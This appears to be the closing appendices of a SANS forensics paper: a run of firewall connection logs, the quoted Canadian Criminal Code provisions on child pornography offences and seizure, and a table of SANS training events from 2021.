Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35102 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35103 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35104 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35105 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35106 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35107 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35108 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35109 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35110 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

ER: 142 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
ER: 144 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
ER: 146 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
ER: 148 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
ER: 150 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Appendix G


### Definition of “child pornography”

163.1 (1) In this section, “child pornography” means

(a) a photographic, film, video or other visual representation, whether or not it was made by electronic or mechanical means,

   (i) that shows a person who is or is depicted as being under the age of eighteen years and is engaged in or is depicted as engaged in explicit sexual activity, or

   (ii) the dominant characteristic of which is the depiction, for a sexual purpose, of a sexual organ or the anal region of a person under the age of eighteen years; or

(b) any written material or visual representation that advocates or counsels sexual activity with a person under the age of eighteen years that would be an offence under this Act.

### Making child pornography

(2) Every person who makes, prints, publishes or possesses for the purpose of publication any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

### Distribution, etc. of child pornography

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

### Possession of child pornography

(4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

### Accessing child pornography

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding
five years; or

(b) an offence punishable on summary conviction.

Interpretation

(4.2) For the purposes of subsection (4.1), a person accesses child pornography who knowingly causes child pornography to be viewed by, or transmitted to, himself or herself.

Defence

(5) It is not a defence to a charge under subsection (2) in respect of a visual representation that the accused believed that a person shown in the representation that is alleged to constitute child pornography was or was depicted as being eighteen years of age or more unless the accused took all reasonable steps to ascertain the age of that person and took all reasonable steps to ensure that, where the person was eighteen years of age or more, the representation did not depict that person as being under the age of eighteen years.

Defences

(6) Where the accused is charged with an offence under subsection (2), (3), (4) or (4.1), the court shall find the accused not guilty if the representation or written material that is alleged to constitute child pornography has artistic merit or an educational, scientific or medical purpose.

Other provisions to apply

(7) Subsections 163(3) to (5) apply, with such modifications as the circumstances require, with respect to an offence under subsection (2), (3), (4) or (4.1).

1993, c. 46, s. 2; 2002, c. 13, s. 5.

Warrant of seizure

164. (1) A judge who is satisfied by information on oath that there are reasonable grounds for believing that

(a) any publication, copies of which are kept for sale or distribution in premises within the jurisdiction of the court, is obscene or a crime comic, within the meaning of section 163, or

(b) any representation or written material, copies of which are kept in premises within the jurisdiction of the court, is child pornography within the meaning of section 163.1,

may issue a warrant authorizing seizure of the copies.

Summons to occupier

(2) Within seven days of the issue of a warrant under subsection (1), the judge shall issue a summons to the occupier of the premises requiring him to appear before the court and show cause why the matter seized should not be forfeited to Her Majesty.

Owner and maker may appear

(3) The owner and the maker of the matter seized under subsection (1), and alleged to be obscene, a crime comic or child pornography, may appear and be represented in the proceedings in order to oppose the making of an order for the forfeiture of the matter.

Order of forfeiture

(4) If the court is satisfied, on a balance of probabilities, that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it may make an order declaring the matter forfeited to Her Majesty in right of the province in which the proceedings take place, for disposal as the Attorney General may direct.
Disposal of matter

(5) If the court is not satisfied that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it shall order that the matter be restored to the person from whom it was seized forthwith after the time for final appeal has expired.

Appeal

(6) An appeal lies from an order made under subsection (4) or (5) by any person who appeared in the proceedings

(a) on any ground of appeal that involves a question of law alone,

(b) on any ground of appeal that involves a question of fact alone, or

(c) on any ground of appeal that involves a question of mixed law and fact,

as if it were an appeal against conviction or against a judgment or verdict of acquittal, as the case may be, on a question of law alone under Part XXI and sections 673 to 696 apply with such modifications as the circumstances require.

Consent

(7) Where an order has been made under this section by a judge in a province with respect to one or more copies of a publication, representation or written material, no proceedings shall be instituted or continued in that province under section 163 or 163.1 with respect to those or other copies of the same publication, representation or written material without the consent of the Attorney General.

Punishment

169. Every one who commits an offence under section 163, 165, 167 or 168 is guilty of

(a) an indictable offence and is liable to imprisonment for a term not exceeding two years; or

(b) an offence punishable on summary conviction.

R.S., 1985, c. C-46, s. 169; 1999, c. 5, s. 3.

Appendix H

References


# Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Format</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Amsterdam May 2021</td>
<td>Virtual - Central European Summer Time, Netherlands</td>
<td>May 17, 2021 - May 22, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Stockholm May 2021</td>
<td>Virtual - Central European Summer Time, Sweden</td>
<td>May 31, 2021 - Jun 05, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Security Central: June 2021</td>
<td></td>
<td>Aug 09, 2021 - Aug 14, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Amsterdam June 2021</td>
<td></td>
<td>Aug 09, 2021 - Aug 14, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>MPO/W Columbia CNODP FY21 (FOR610) 6-day format</td>
<td>Columbia, MD</td>
<td>Jun 14, 2021 - Jun 19, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Hurlburt DCO/H 21-05</td>
<td>Hurlburt Field, FL</td>
<td>Jun 14, 2021 - Jun 19, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Paris June 2021</td>
<td>Virtual - Central European Summer Time, France</td>
<td>Jun 14, 2021 - Jun 19, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Fort Gordon Cyber Protection Brigade (CPB/ARCYBER) (FOR572)</td>
<td>Augusta, GA</td>
<td>Jun 21, 2021 - Jun 26, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>South By SE Asia PenTest 2021</td>
<td>Virtual - India Standard Time, India</td>
<td>Jun 21, 2021 - Jun 26, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Miami: Virtual Edition 2021</td>
<td></td>
<td>Jun 21, 2021 - Jun 26, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Defence Japan 2021</td>
<td>Virtual - Japan Standard Time, Japan</td>
<td>Jun 28, 2021 - Jul 10, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Defence Australia 2021</td>
<td>Canberra, Australia</td>
<td>Jun 28, 2021 - Jul 10, 2021</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Digital Forensics en Espanol: June 2021</td>
<td></td>
<td>Jun 28, 2021 - Jul 03, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Defence Australia 2021 - Live Online</td>
<td>Virtual - Australian Eastern Standard Time, Australia</td>
<td>Jun 28, 2021 - Jul 10, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London July 2021</td>
<td>London, United Kingdom</td>
<td>Jul 05, 2021 - Jul 10, 2021</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London July 2021 - Live Online</td>
<td>Virtual - British Summer Time, United Kingdom</td>
<td>Jul 05, 2021 - Jul 10, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS FOR508 Europe Online July 2021</td>
<td>Virtual - British Summer Time, United Kingdom</td>
<td>Jul 05, 2021 - Jul 10, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Stay Sharp Summer 2021</td>
<td></td>
<td>Jul 07, 2021 - Jul 09, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Cyber Defence Singapore July 2021 - Live Online</td>
<td>Singapore, Singapore</td>
<td>Jul 12, 2021 - Jul 24, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANSFIRE 2021</td>
<td></td>
<td>Jul 12, 2021 - Jul 17, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Amsterdam July 2021</td>
<td>Virtual - Central European Summer Time, Netherlands</td>
<td>Jul 19, 2021 - Jul 24, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>DFIR Summit &amp; Training 2021</td>
<td>Virtual - US Eastern,</td>
<td>Jul 22, 2021 - Jul 31, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>USMC-MARFORCYBER / UKI - Live In-Person (FOR518)</td>
<td>Columbia, MD</td>
<td>Jul 26, 2021 - Jul 31, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>MPO/W Columbia CMiP FY21 (FOR508) 5-day format</td>
<td>Columbia, MD</td>
<td>Jul 26, 2021 - Jul 30, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Wellington August 2021 - Live Online</td>
<td>Virtual - New Zealand Standard Time, New Zealand</td>
<td>Aug 02, 2021 - Aug 07, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Wellington August 2021</td>
<td>Wellington, New Zealand</td>
<td>Aug 02, 2021 - Aug 07, 2021</td>
<td>Live Event</td>
</tr>
<tr>
<td>USMC-MARFORCYBER / UKI - Live In-Person (FOR585)</td>
<td>Columbia, MD</td>
<td>Aug 09, 2021 - Aug 14, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Prague August 2021</td>
<td>Virtual - Central European Summer Time, Czech Republic</td>
<td>Aug 09, 2021 - Aug 14, 2021</td>
<td>CyberCon</td>
</tr>
</tbody>
</table>